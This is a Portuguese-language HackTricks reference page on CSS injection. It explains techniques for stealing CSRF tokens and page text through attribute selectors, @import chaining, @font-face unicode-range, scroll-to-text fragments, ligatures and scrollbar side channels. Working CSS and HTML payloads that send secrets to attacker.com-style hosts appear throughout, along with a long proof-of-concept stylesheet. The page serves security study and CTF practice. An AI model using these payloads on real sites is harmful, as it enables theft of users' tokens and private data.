27 KiB
Injeção de CSS
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
Injeção de CSS
Seletor de Atributo
A principal técnica para exfiltrar informações via Injeção de CSS é tentar combinar um texto com CSS e, caso esse texto exista, carregar algum recurso externo, como:
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
No entanto, observe que essa técnica não funcionará se, no exemplo, o csrf name input for do tipo hidden (e geralmente são), porque o fundo não será carregado.
No entanto, você pode contornar esse impedimento fazendo com que, em vez de fazer o elemento oculto carregar um fundo, simplesmente faça qualquer coisa depois dele carregar o fundo:
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Algum exemplo de código para explorar isso: https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e
Pré-requisitos
- A injeção de CSS precisa permitir cargas úteis suficientemente longas
- Capacidade de enquadrar a página para disparar a reavaliação de CSS de cargas úteis recém-geradas
- Capacidade de usar imagens hospedadas externamente (pode ser bloqueado por CSP)
Seletor de Atributo Cego
Como explicado neste post, é possível combinar os seletores :has
e :not
para identificar conteúdo mesmo de elementos cegos. Isso é muito útil quando você não tem ideia do que está dentro da página web carregando a injeção de CSS.
Também é possível usar esses seletores para extrair informações de vários blocos do mesmo tipo como em:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
Combinando isso com a seguinte técnica @import, é possível exfiltrar muitas informações usando injeção de CSS em páginas cegas com blind-css-exfiltration.
@import
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de enviar múltiplos links para a vítima, ou precisa ser capaz de iframe a página vulnerável à injeção de CSS.
No entanto, existe outra técnica inteligente que usa CSS @import
para melhorar a qualidade da técnica.
Isso foi mostrado pela primeira vez por Pepe Vila e funciona assim:
Em vez de carregar a mesma página várias vezes com dezenas de payloads diferentes cada vez (como na técnica anterior), vamos carregar a página apenas uma vez e apenas com um import para o servidor do atacante (este é o payload para enviar à vítima):
@import url('//attacker.com:5001/start?');
- A importação vai receber algum script CSS dos atacantes e o navegador irá carregá-lo.
- A primeira parte do script CSS que o atacante enviará é outro
@import
para o servidor do atacante novamente. - O servidor do atacante não responderá a esta solicitação ainda, pois queremos vazar alguns caracteres e depois responder a esta importação com o payload para vazar os próximos.
- A segunda e maior parte do payload será um payload de vazamento de seletor de atributo
- Isso enviará ao servidor do atacante o primeiro caractere do segredo e o último
- Uma vez que o servidor do atacante tenha recebido o primeiro e último caractere do segredo, ele responderá a importação solicitada na etapa 2.
- A resposta será exatamente a mesma que as etapas 2, 3 e 4, mas desta vez tentará encontrar o segundo caractere do segredo e então o penúltimo.
O atacante continuará esse loop até conseguir vazar completamente o segredo.
Você pode encontrar o código original de Pepe Vila para explorar isso aqui ou pode encontrar quase o mesmo código, mas comentado aqui.
{% hint style="info" %} O script tentará descobrir 2 caracteres cada vez (do início e do fim) porque o seletor de atributo permite fazer coisas como:
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
Isso permite que o script vaze o segredo mais rapidamente. {% endhint %}
{% hint style="warning" %}
Às vezes, o script não detecta corretamente que o prefixo + sufixo descoberto já é a flag completa e continuará avançando (no prefixo) e retrocedendo (no sufixo) e, em algum momento, travará.
Não se preocupe, apenas verifique o output porque você pode ver a flag lá.
{% endhint %}
Outros seletores
Outras formas de acessar partes do DOM com seletores CSS:
.class-to-search:nth-child(2)
: Isso procurará o segundo item com a classe "class-to-search" no DOM.:empty
seletor: Usado por exemplo em este writeup:
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
XS-Search baseado em erro
Referência: Ataque baseado em CSS: Abusando do unicode-range de @font-face , Error-Based XS-Search PoC por @terjanq
Basicamente, a ideia principal é usar uma fonte personalizada de um endpoint controlado por nós em um texto que será mostrado apenas se o recurso não puder ser carregado.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
Estilizando Fragmento de Rolagem para Texto
Quando um fragmento de URL tem como alvo um elemento, a pseudo-classe :target
pode ser usada para selecioná-lo, mas ::target-text
não corresponde a nada. Ela só corresponde a texto que é diretamente alvo do [fragmento].
Portanto, um atacante poderia usar o fragmento Scroll-to-text e, se algo for encontrado com esse texto, podemos carregar um recurso (via injeção de HTML) do servidor do atacante para indicar isso:
:target::before { content : url(target.png) }
Um exemplo deste ataque poderia ser:
{% code overflow="wrap" %}
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
{% endcode %}
O que consiste em abusar de uma injeção de HTML enviando o código:
{% code overflow="wrap" %}
<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>
{% endcode %}
com o fragmento de rolagem para texto: #:~:text=Administrator
Se a palavra Administrator for encontrada, o recurso indicado será carregado.
Existem três principais mitigações:
- STTF só pode corresponder a palavras ou frases em uma página da web, teoricamente tornando impossível o vazamento de segredos ou tokens aleatórios (a menos que decomponhamos o segredo em parágrafos de uma letra).
- É restrito a contextos de navegação de nível superior, então não funcionará em um iframe, tornando o ataque visível para a vítima.
- É necessário um gesto de ativação do usuário para que o STTF funcione, então apenas navegações que são resultado de ações do usuário são exploráveis, o que diminui bastante a possibilidade de automatizar o ataque sem interação do usuário. No entanto, existem certas condições que o autor do post do blog acima descobriu que facilitam a automação do ataque. Outro caso semelhante será apresentado no PoC#3.
- Existem alguns bypasses para isso, como engenharia social, ou forçar extensões comuns de navegador a interagir.
Para mais informações, confira o relatório original: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Você pode verificar um exploit usando esta técnica para um CTF aqui.
@font-face / unicode-range
Você pode especificar fontes externas para valores unicode específicos que só serão coletadas se esses valores unicode estiverem presentes na página. Por exemplo:
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
Ao acessar esta página, Chrome e Firefox buscam "?A" e "?B" porque o nó de texto de informações sensíveis contém os caracteres "A" e "B". No entanto, Chrome e Firefox não buscam "?C" porque não contém "C". Isso significa que conseguimos ler "A" e "B".
Exfiltração de nó de texto (I): ligaduras
Referência: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Podemos extrair o texto contido em um nó com uma técnica que combina ligaduras de fonte e a detecção de mudanças de largura. A ideia principal por trás dessa técnica é a criação de fontes que contêm uma ligadura predefinida com tamanho grande e o uso de mudanças de tamanho como oráculo.
As fontes podem ser criadas como fontes SVG e depois convertidas para woff com o fontforge. Em SVG, podemos definir a largura de um glifo através do atributo horiz-adv-x, então podemos construir algo como <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, sendo XY uma sequência de dois caracteres. Se a sequência existir, ela será renderizada e o tamanho do texto mudará. Mas... como podemos detectar essas mudanças?
Quando o atributo white-space é definido como nowrap, ele força o texto a não quebrar quando excede a largura do elemento pai. Nessa situação, uma barra de rolagem horizontal aparecerá. E podemos definir o estilo dessa barra de rolagem, então podemos detectar quando isso acontece :)
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }
Neste ponto, o ataque é claro:
- Criar fontes para a combinação de dois caracteres com largura enorme
- Detectar o vazamento pelo truque da barra de rolagem
- Usando a primeira ligadura vazada como base, criar novas combinações de 3 caracteres (adicionando caracteres antes/depois)
- Detectar a ligadura de 3 caracteres.
- Repetir até vazar o texto inteiro
Ainda precisamos de um método melhorado para iniciar a iteração porque <meta refresh=...
é subótimo. Você poderia usar o truque CSS @import para otimizar o exploit.
Exfiltração de nó de texto (II): vazando o conjunto de caracteres com uma fonte padrão (sem necessidade de ativos externos)
Referência: PoC usando Comic Sans por @Cgvwzq & @Terjanq
Este truque foi divulgado nesta thread do Slackers. O conjunto de caracteres usado em um nó de texto pode ser vazado usando as fontes padrão instaladas no navegador: não são necessárias fontes externas ou personalizadas.
A chave é usar uma animação para aumentar a largura do div de 0 até o final do texto, o tamanho de um caractere de cada vez. Fazendo isso, podemos "dividir" o texto em duas partes: um "prefixo" (a primeira linha) e um "sufixo", então toda vez que o div aumenta sua largura, um novo caractere se move do "sufixo" para o "prefixo". Algo como:
C
ADB
CA
DB
CAD
B
CADB
Quando um novo caractere vai para a primeira linha, o truque do unicode-range é usado para detectar o novo caractere no prefixo. Essa detecção é feita mudando a fonte para Comic Sans, cuja altura é superior, então uma barra de rolagem vertical é acionada (vazando o valor do caractere). Desta forma, podemos vazar cada caractere diferente uma vez. Podemos detectar se um caractere é repetido, mas não qual caractere é repetido.
{% hint style="info" %}
Basicamente, o unicode-range é usado para detectar um caractere, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.
Quando o caractere é encontrado, ele é atribuído à fonte Comic Sans pré-instalada, o que aumenta o tamanho do caractere e aciona uma barra de rolagem que irá vazar o caractere encontrado.
{% endhint %}
Confira o código extraído do PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Exfiltração de nó de texto (III): vazando o conjunto de caracteres com uma fonte padrão ao ocultar elementos (não requer ativos externos)
Referência: Isso é mencionado como uma solução sem sucesso neste writeup
Este caso é muito semelhante ao anterior, no entanto, neste caso o objetivo de fazer com que caracteres específicos sejam maiores que outros é para ocultar algo como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou falta dela) e saber se um caractere específico está presente no texto.
Exfiltração de nó de texto (III): vazando o conjunto de caracteres pelo tempo de cache (não requer ativos externos)
Referência: Isso é mencionado como uma solução sem sucesso neste writeup
Neste caso, poderíamos tentar vazar se um caractere está no texto carregando uma fonte falsa da mesma origem:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Se houver correspondência, a fonte será carregada de /static/bootstrap.min.css?q=1
. Embora não seja carregada com sucesso, o navegador deve armazená-la em cache, e mesmo que não haja cache, existe um mecanismo de 304 não modificado, então a resposta deve ser mais rápida do que outras coisas.
No entanto, se a diferença de tempo da resposta em cache e da não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag disk-cache-size=1
, o que é realmente pensado.
Exfiltração de nó de texto (III): vazando o conjunto de caracteres pelo tempo de carregamento de centenas de "fontes" locais (não requerendo ativos externos)
Referência: Isso é mencionado como uma solução sem sucesso neste writeup
Neste caso, você pode indicar ao CSS para carregar centenas de fontes falsas da mesma origem quando ocorrer uma correspondência. Dessa forma, você pode medir o tempo que leva e descobrir se um caractere aparece ou não com algo como:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
E o código do bot é assim:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Portanto, assumindo que a fonte não corresponde, o tempo para obter a resposta ao visitar o bot deve ser de cerca de 30 segundos. Se houver uma correspondência, uma série de solicitações será enviada para obter a fonte, e a rede sempre terá algo, portanto, levará mais tempo para atender à condição de parada e obter a resposta. Assim, o tempo de resposta pode indicar se há uma correspondência.
## Referências
* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>